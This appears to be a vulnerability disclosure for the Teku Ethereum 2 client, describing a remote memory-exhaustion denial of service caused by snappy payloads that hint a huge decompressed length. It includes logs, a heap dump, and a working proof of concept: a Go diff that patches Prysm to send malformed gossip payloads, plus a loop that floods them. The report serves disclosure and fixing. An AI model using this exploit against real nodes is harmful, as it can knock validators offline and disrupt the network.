        ... 17 more
2020-09-04 12:27:30.491+02:00 | DefaultQuartzScheduler_QuartzSchedulerThread | DEBUG | PropertySettingJobFactory | Producing instance of Job 'DEFAULT.Timer', class=tech.pegasys.teku.services.timer.ScheduledTimeEvent
2020-09-04 12:27:30.491+02:00 | DefaultQuartzScheduler_QuartzSchedulerThread | DEBUG | QuartzSchedulerThread | batch acquisition of 1 triggers
2020-09-04 12:27:30.491+02:00 | DefaultQuartzScheduler_Worker-8 | DEBUG | JobRunShell | Calling execute on job DEFAULT.Timer
2020-09-04 12:27:30.616+02:00 | P2PService-event-thread-0 | WARN  | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
        at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
        at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
        at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
        at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
        at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
        at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
        at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: tech.pegasys.teku.networking.eth2.gossip.encoding.DecodingException: Failed to uncompress
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:31) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more
Caused by: java.io.IOException: FAILED_TO_UNCOMPRESS(5)
        at org.xerial.snappy.SnappyNative.throw_error(SnappyNative.java:112) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.SnappyNative.rawUncompress(Native Method) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.rawUncompress(Snappy.java:478) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:517) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:492) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more
2020-09-04 12:27:30.617+02:00 | P2PService-event-thread-0 | WARN  | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: java.lang.NegativeArraySizeException: -805306369
        at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
        at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
        at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
        at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
        at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
        at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
        at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: java.lang.NegativeArraySizeException: -805306369
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:491) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more
2020-09-04 12:27:30.617+02:00 | P2PService-event-thread-0 | WARN  | Eth2TopicHandler | Encountered exception while processing message for topic /eth2/e7a75d5a/beacon_block/ssz_snappy
java.util.concurrent.CompletionException: java.lang.NegativeArraySizeException: -1610612737
        at java.util.concurrent.CompletableFuture.encodeThrowable(CompletableFuture.java:331) ~[?:?]
        at java.util.concurrent.CompletableFuture.uniApplyNow(CompletableFuture.java:670) [?:?]
        at java.util.concurrent.CompletableFuture.uniApplyStage(CompletableFuture.java:658) [?:?]
        at java.util.concurrent.CompletableFuture.thenApply(CompletableFuture.java:2165) [?:?]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.thenApply(SafeFuture.java:329) [teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:43) [teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:75) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.p2p.libp2p.gossip.GossipHandler.apply(GossipHandler.java:33) [teku-networking-p2p-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at io.libp2p.pubsub.PubsubApiImpl.onNewMessage(PubsubApiImpl.kt:79) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl.access$onNewMessage(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:63) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.PubsubApiImpl$1.invoke(PubsubApiImpl.kt:22) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.pubsub.AbstractRouter.onInbound(AbstractRouter.kt:212) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService.streamInbound(P2PService.kt:171) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:51) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$StreamHandler$channelRead$1.invoke(P2PService.kt:36) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at io.libp2p.etc.util.P2PService$runOnEventThread$1.run(P2PService.kt:231) [jvm-libp2p-minimal-0.5.6-RELEASE.jar:?]
        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
        at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
        at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:304) [?:?]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
        at java.lang.Thread.run(Thread.java:830) [?:?]
Caused by: java.lang.NegativeArraySizeException: -1610612737
        at org.xerial.snappy.Snappy.uncompress(Snappy.java:491) ~[snappy-java-1.1.7.6.jar:1.1.7.6]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SnappyBlockCompressor.uncompress(SnappyBlockCompressor.java:29) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.encoding.SszSnappyEncoding.decode(SszSnappyEncoding.java:41) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler$SimpleEth2TopicHandler.deserialize(Eth2TopicHandler.java:101) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.lambda$handleMessage$0(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.infrastructure.async.SafeFuture.of(SafeFuture.java:76) ~[teku-infrastructure-async-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        at tech.pegasys.teku.networking.eth2.gossip.topics.Eth2TopicHandler.handleMessage(Eth2TopicHandler.java:42) ~[teku-networking-eth2-0.12.6-SNAPSHOT.jar:0.12.6-dev-8167a9d4]
        ... 17 more

heap dump files:

Hinting a decompressed length of ~2GB 0x7fffffff forces the JVM to dump the heap.

12:19:36.851 INFO  - Slot Event  *** Slot: 222397, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 34
12:19:49.023 INFO  - Slot Event  *** Slot: 222398, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 35
12:20:00.978 INFO  - Slot Event  *** Slot: 222399, Block:    ... empty, Epoch: 6949, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:08.493 INFO  - Epoch Event *** Epoch: 6950, Justified checkpoint: 6947, Finalized checkpoint: 6946, Finalized root: caadae..b936
12:20:19.203 INFO  - Slot Event  *** Slot: 222400, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 32
12:20:25.148 INFO  - Slot Event  *** Slot: 222401, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6946, Finalized root: caadae..b936, Peers: 33
12:20:35.005 INFO  - Sync Event  *** Current slot: 222402, Head slot: 222367, Connected peers: 32
java.lang.OutOfMemoryError: Java heap space
Dumping heap to java_pid12109.hprof ...
Heap dump file created [899176967 bytes in 4.576 secs]
12:21:08.746 INFO  - Sync Event  *** Current slot: 222403, Head slot: 222400, Connected peers: 31
12:21:15.845 INFO  - Sync Event  *** Current slot: 222404, Head slot: 222401, Connected peers: 31
12:21:16.913 INFO  - Slot Event  *** Slot: 222405, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31
12:21:24.932 INFO  - Slot Event  *** Slot: 222406, Block:    ... empty, Epoch: 6950, Finalized checkpoint: 6948, Finalized root: 211a94..ba4e, Peers: 31 

900 MB heapdump

1785856 -rw-------  1 tintin  staff  899176967  4 Sep 12:20 java_pid12109.hprof

PoC

  • Note: For simplicity, I ran the PoC and target node on the same system

Setup

Target (teku)

codebase: teku master@8167a9d42aaf2a05e127fba946ed8de1d8fe823e

./build/install/teku/bin/teku --network=medalla --validators-key-files=./mykeys/800068c_validator.json --validators-key-password-files=./mykeys/validator.pw --eth1-endpoint=https://goerli.prylabs.net  --p2p-static-peers=/ip4/192.168.86.69/tcp/13000/p2p/16Uiu2HAmDpa8XGnBtnLpEYgJ9ETLERMVYBzb8iLVACzCXS8zrwwi --logging=DEBUG
Attacker (prysm)

codebase: prysm

go run . --unsafe-sync --disable-initial-sync-verify-all-signatures --enable-upnp  --min-sync-peers=1 --chain-config-file=chain.yaml --deposit-contract=0x07b39F4fDE4A38bACe212b546dAc87C58DfE3fDC --contract-deployment-block=3085928 --datadir=medalla  --verbosity=debug --peer=/ip4/192.168.86.69/tcp/9000/p2p/16Uiu2HAmTejkaE5vbzJQkeoRbrRCCPaDhh14JGc9RXFqWCJC4CJE --p2p-allowlist=192.168.0.0/16

I've patched prysm to perform the attack while syncing. We're hinting a snappy encoded payload length of 0x<random-0-f>fffffff eventually causing an out of memory condition or just short-lived large allocations. Additionally, the attacker is sending the payload 10000000 times each sync loop. This should keep the peer pretty busy.

Note: In my tests it was enough to jus run the poc for a couple of seconds until mem consumption was close to max to cause teku fall behind not receiving blocks for multiple epochs. It is therefore assumed that the attacker does not have to flood the target continuously (the 10000000 is probably an overkill :D).

I will provide a fully working diff on request if someone wants to reproduce.

diff --git a/beacon-chain/p2p/encoder/ssz.go b/beacon-chain/p2p/encoder/ssz.go
index 5a0ac1cdc..4c015f358 100644
--- a/beacon-chain/p2p/encoder/ssz.go
+++ b/beacon-chain/p2p/encoder/ssz.go
@@ -4,6 +4,7 @@ import (
 	"fmt"
 	"io"
 	"sync"
+	"math/rand"
 
 	fastssz "github.com/ferranbt/fastssz"
 	"github.com/gogo/protobuf/proto"
@@ -39,9 +40,12 @@ func (e SszNetworkEncoder) doEncode(msg interface{}) ([]byte, error) {
 
 // EncodeGossip the proto gossip message to the io.Writer.
 func (e SszNetworkEncoder) EncodeGossip(w io.Writer, msg interface{}) (int, error) {
+	fmt.Println("----------------------------------> EncodeGossip")
+	/*
 	if msg == nil {
 		return 0, nil
 	}
+	fmt.Println("----------------------------------> EncodeGossip")
 	b, err := e.doEncode(msg)
 	if err != nil {
 		return 0, err
@@ -49,8 +53,29 @@ func (e SszNetworkEncoder) EncodeGossip(w io.Writer, msg interface{}) (int, erro
 	if uint64(len(b)) > MaxGossipSize {
 		return 0, errors.Errorf("gossip message exceeds max gossip size: %d bytes > %d bytes", len(b), MaxGossipSize)
 	}
-	b = snappy.Encode(nil /*dst*/, b)
-	return w.Write(b)
+	*/
+	//b = snappy.Encode(nil /*dst*/, b)
+	//[byte(0xfe), 0xff , 0xff, 0xff, 0xf, 0xfe, 0xff , 0xff, 0xff, 0xf, 254, 1, 0, 218, 1, 0]
+	//b = []byte("\xfe\xff\xff\xff\x0f\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00")
+	//255 255 255 255 7
+	var r = make([]byte, 20)
+	_, err := rand.Read(r)
+	if err != nil {
+
+	}
+	var l = byte((rand.Intn(5)*3));
+
+	var lprefix =  []byte("\xff\xff\xff\xff")
+	var garbage = []byte("\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00")
+	//var b = []byte("\xff\xff\xff\xff\x07\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00") //java.lang.OutOfMemoryError: Requested array size exceeds VM limit
+	
+	//b = []byte("\xff\xff\xff\xff\x01\xfe\xff\xff\xff\x0f\xfe\x01\x00\xa0\x01\x00") //java.lang.OutOfMemoryError: Requested array size exceeds VM limit
+	fmt.Println("----------------------------------> EncodeGossip-writebyte")
+	//'\xff\xff\xff\xf7\x07
+	var b = append(lprefix[:], l)
+	b = append(b[:], garbage[:]...)
+	var res = append(b[:], r[:]...)
+	return w.Write(res)
 }
 
 // EncodeWithMaxLength the proto message to the io.Writer. This encoding prefixes the byte slice with a protobuf varint

loop:

+ for i := 0; i < 10000000; i++ {
+                       fmt.Println(("boom boom"))
+                       if err := s.p2p.Broadcast(ctx, blk); err != nil {
+                               log.WithError(err).Error("Failed to broadcast block")
+                       }
+               
+               }

Root Cause

Snappy Uncompress calls xerial.Snappy.uncompress

Snappy.uncompress(received_data)

https://github.com/PegaSysEng/teku/blob/f7daad76ffa8d13f6117516acd7a46bc143df394/networking/eth2/src/main/java/tech/pegasys/teku/networking/eth2/gossip/encoding/SnappyBlockCompressor.java#L28

Xerial snappy uncompress allocs hinted length without sanity checking

byte[] result = new byte[Snappy.uncompressedLength(input)];

https://github.com/xerial/snappy-java/blob/eb341bf08fbc56fa52f646d75ce902d0486dbb8b/src/main/java/org/xerial/snappy/Snappy.java#L491

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.